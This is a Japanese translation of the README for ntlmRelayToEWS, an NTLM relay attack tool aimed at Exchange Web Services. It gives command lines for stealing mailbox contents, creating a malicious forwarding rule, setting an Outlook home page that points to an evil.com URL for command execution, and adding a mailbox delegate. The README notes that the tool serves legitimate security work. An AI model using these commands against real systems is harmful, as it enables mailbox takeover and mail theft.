
作者: Arno0x0x - @Arno0x0x
ntlmRelayToEWS は、Exchange Web サービス (EWS) に対して NTLM リレー攻撃を実行するためのツールです。ポート 445 で SMBListener を、ポート 80 で HTTPListener を起動し、被害者からの接続を待ち受けます。被害者がいずれかのリスナーに接続すると、NTLM ネゴシエーションが発生し、ターゲットの EWS サーバーにリレーされます。
明らかにこのツールは EWS API 全体を実装していません。そのため、一部の攻撃シナリオで有用ないくつかのサービスのみが実装されています。将来的にさらに追加するかもしれません。どの EWS 呼び出しが実装されているかについては、「使用方法」のセクションを参照してください。
Exchange のバージョン:
このツールは Exchange Server 2010 SP2 でのみテストしています (確かにかなり古いものです)。そのため、すべての EWS SOAP リクエストテンプレートと EWS レスポンスのパースは、このバージョンの Exchange でのみテストされています。自分ではテストしていませんが、一部の報告では、このツールは Exchange 2016 サーバーでもそのまま動作する (つまり SOAP リクエストテンプレートに変更を加えずに) とのことです。
これらの SOAP リクエストが別のバージョンの Exchange で動作しない場合、Microsoft EWS Managed API をトレースモードで使用し、適切な SOAP リクエストをキャプチャすることで、新しいバージョンに合わせた SOAP リクエストテンプレートを簡単に作成できます (実際にその方法で行いました!)。
EWS SOAP クライアント:
SOAP クライアントを使用して、Exchange WSDL に基づいてすべての SOAP リクエストを自動的に作成する適切なインターフェースを実現できればよかったのですが。'zeep' の使用を試みましたが、Exchange WSDL では外部名前空間のダウンロードが必要であり、インターネット接続が必要になるため、うまく動作させるのに苦労しました。また、'zeep' ではカスタムトランスポートセッションを使用するには Requests.session が必要であり、これは HTTPClientRelay でデフォルトで使用する HTTP(S) セッションのタイプとは異なります。そのため、HTTPClientRelay をリファクタリングして 'Requests' を使用するか (/me 怠惰)、単に zeep に zeep.client.create_message() でメッセージを作成させ、それを既存のリレーセッションで送信する必要がありました。あるいは、単に私が未熟な開発者だからでしょうか? まあいいでしょう...
ntlmRelayToEWS は、Impacket が適切かつクリーンにインストールされている必要があります。動作するバージョンの Impacket を入手するには、提供元の指示に従ってください。
ntlmRelayToEWS は以下の攻撃を実装しており、これらはすべてリレーされたユーザー (被害者) の代わりに行われます。
詳細についてはヘルプを参照してください: ./ntlmRelayToEWS -h。--verbose または -v フラグを使用すると、より詳細なデバッグ情報が得られます。
sendMail
HTML 形式の電子メールを指定された送信先リストに送信します:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendMail -d "[email protected],[email protected]" -s Subject -m sampleMsg.html
getFolder
事前定義されたフォルダー (受信トレイ、送信済みアイテム、カレンダー、タスク) からすべてのアイテムを取得します:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolder -f inbox
forwardRule
被害者宛てのすべての受信メッセージを別の電子メールアドレスに転送する悪意のある転送ルールを作成します:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r forwardRule -d [email protected]
setHomePage
フォルダーのホームページ (通常は受信トレイフォルダー) を URL を指定して設定します。このテクニックは SensePost/Etienne Stalmans によって発見され、特定の HTML ページを作成することで被害者の Outlook プログラムで任意のコマンド実行を可能にします: Outlook Home Page – Another Ruler Vector:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r setHomePage -f inbox -u http://path.to.evil.com/evilpage.html
addDelegate
被害者のプライマリメールボックスに委任アドレスを設定します。つまり、被害者は自分のメールボックスの制御を他のユーザーに委任します。これにより、委任されたアドレスは、Outlook で追加のメールボックスとして開くだけで被害者のメールボックスを完全に制御できるようになります:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r addDelegate -d [email protected]
被害者に ntlmRelayToEWS に資格情報を送信させるには、以下のよく知られた方法のいずれかを使用できます:
Invoke-SendEmail.ps1 スクリプトを確認してください。Impacket および Alberto Solino @agsolino による ntlmrelayx に基づいています。
このツールは、合法的かつ正当な目的でのみ使用することを意図しています:
Empire の作者の言葉を引用します: 正当な情報セキュリティ業界に役立つ攻撃ツールを構築しながら、悪意のある行為者による悪用を同時に防ぐ方法はありません。